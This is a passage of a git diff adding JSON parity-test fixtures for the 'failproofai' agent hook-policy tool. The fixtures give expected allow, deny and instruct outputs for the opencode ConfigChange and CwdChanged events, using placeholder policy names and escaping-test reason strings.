"transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/ConfigChange/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/ConfigChange/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..b8064673 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ConfigChange/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/ConfigChange/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/ConfigChange/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..29c64e42 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ConfigChange/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/ConfigChange/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/ConfigChange/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..6cd8e7b9 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ConfigChange/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/ConfigChange/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/ConfigChange/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..c3a78623 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/ConfigChange/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/CwdChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/CwdChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..806605aa --- /dev/null +++ b/__tests__/parity/fixtures/opencode/CwdChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/CwdChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/CwdChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..3e686ce4 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/CwdChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/CwdChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/CwdChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..7fd91aea --- /dev/null +++ b/__tests__/parity/fixtures/opencode/CwdChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/CwdChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/CwdChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..9dd4de28 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/CwdChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/CwdChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/CwdChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..ee9b517e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/CwdChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/CwdChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/CwdChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..d45e1898 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/CwdChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/CwdChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/CwdChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..97275433 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/CwdChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/CwdChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/CwdChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..bd186547 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/CwdChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/CwdChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/CwdChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..e24725ee --- /dev/null +++ b/__tests__/parity/fixtures/opencode/CwdChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/CwdChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/CwdChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..07da89ed --- /dev/null +++ b/__tests__/parity/fixtures/opencode/CwdChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/CwdChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/CwdChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..2cb3cdef --- /dev/null +++ b/__tests__/parity/fixtures/opencode/CwdChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/CwdChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/CwdChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..bf6a3a22 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/CwdChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/CwdChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/CwdChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..076c00a0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/CwdChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/CwdChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/CwdChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..c55e1728 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/CwdChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"CwdChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/CwdChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/CwdChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..6e23d30e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/CwdChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: 